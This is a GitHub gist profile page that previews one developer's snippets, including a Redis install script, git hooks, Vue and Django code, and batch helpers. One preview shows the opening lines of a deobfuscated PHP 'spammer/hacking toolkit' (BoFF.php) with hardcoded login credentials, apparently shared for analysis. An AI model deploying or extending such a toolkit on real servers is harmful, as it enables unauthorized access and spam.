Skip to content

Instantly share code, notes, and snippets.

View tclancy's full-sized avatar

Tom Clancy tclancy

View GitHub Profile
@tclancy
tclancy / installredis
Last active December 31, 2015 04:09
Updating Vagrant Box's Redis
#! /bin/bash
mkdir ~/sources
cd ~/sources
sudo apt-get install tcl8.5
wget http://download.redis.io/redis-stable.tar.gz
tar xvzf redis-stable.tar.gz
cd redis-stable
sudo make && make test
sudo cp src/redis-server /usr/local/bin
sudo cp src/redis-cli /usr/local/bin
@tclancy
tclancy / gist:8289474
Created January 6, 2014 20:38
Komodo Error Log
[2014-01-06 15:35:28,141] [WARNING] root: ko.findresults was already loaded, re-creating it.
[2014-01-06 15:35:28,191] [WARNING] root: DEPRECATED: log, use ko.logging.getLogger('')
[anonymous]@chrome://komodo/content/project/projectManager.js:1875
[2014-01-06 15:35:28,193] [WARNING] root: Can't call ko.places.getFocusedPlacesView:
TypeError: ko.places.getFocusedPlacesView is not a function
[2014-01-06 15:35:28,194] [WARNING] root: Can't call ko.places.getFocusedPlacesView:
TypeError: ko.places.getFocusedPlacesView is not a function
<!DOCTYPE html>
<html>
<body>
<form>
<label for="notes">Notes</label>
<input class="u-full-width" placeholder="notes" id="notes" type="text">
<input class="button-primary" value="submit" type="submit">
</form>
<?php
@tclancy
tclancy / pre-commit
Created October 7, 2016 18:54
git pre-commit hook for Python linting, image CRUSHING and a bit of JavaScript hygiene
#!/usr/bin/env bash
rc=0
head=`git symbolic-ref HEAD`
#if echo $head | grep -E 'releases?/[0-9]\.[0-9]+|master'
#then
# echo "You cannot commit directly to a release branch"
# echo "Stash your changes and apply them to another branch"
# echo "or create a branch directly from these changes"
@tclancy
tclancy / BoFF.php
Created May 16, 2014 13:14
Deobfuscated spammer/ hacking toolkit (BoFF.php)
<?php
$uselogin = 1;
$user = 'sfnsaw';
$pass = 'mium';
if($_POST['id']== 'logout')
{
Logout();
}
if($_POST['id'] == 100)
{
@tclancy
tclancy / dashboard.js
Created February 3, 2017 16:24
vue.js example code
var app = new Vue({
http: {
headers: {
"X-CSRFToken": window.csrf_token
}
},
el: "#admin-dash-users",
data: {
addresses: [],
count: 0,
@tclancy
tclancy / TableVerticalSplitHack.js
Created April 26, 2017 18:00 — forked from vstefanoxx/TableVerticalSplitHack.js
Script to automatically split wide HTML tables that doesn't fit the width of the PDF page generated by WkHtmlToPdf (or equivalent). From an idea of Florin Stancu <niflostancu@gmail.com> and his script wkhtmltopdf.tablesplit.js, this implementation is quite different because the splitting is done vertically on a excessive wide table, while the or…
/**
* WkHtmlToPdf table vertically-splitting hack
* Script to automatically split wide HTML tables that doesn't fit the width of the PDF page generated
* by WkHtmlToPdf (or equivalent)
*
* The general idea come from Florin Stancu <niflostancu@gmail.com> and his script wkhtmltopdf.tablesplit.js
* The implementation is quite different because the splitting is done vertically on a excessive
* wide table, while the original script was meant to split horizontally an excessive long table
*
* To use, you must adjust pdfPage object's contents to reflect your PDF's
@tclancy
tclancy / backup_data_to_amazon.py
Created May 14, 2017 17:15
Django management command to tar files and send to S3
import datetime
import os
import tarfile
import time
from django.conf import settings
from django.core.mail import mail_admins
from django.core.management.base import BaseCommand
from boto.s3.connection import S3Connection
@tclancy
tclancy / reindent.bat
Created December 10, 2011 16:26
reindent.bat for Python on Windows
@echo off
if [%1]==[] goto USAGE
goto REINDENT
:USAGE
echo.
echo Usage: reindent path\to\file.py
echo.
goto END
@tclancy
tclancy / pre-commit.sh
Created May 29, 2018 16:52
Test Bash Script for Hook
#!/usr/bin/env bash
files=$(git diff --cached --name-only --staged --diff-filter=ACM WA-2310 | grep '\.jsx\?$')
echo ${files} | xargs eslint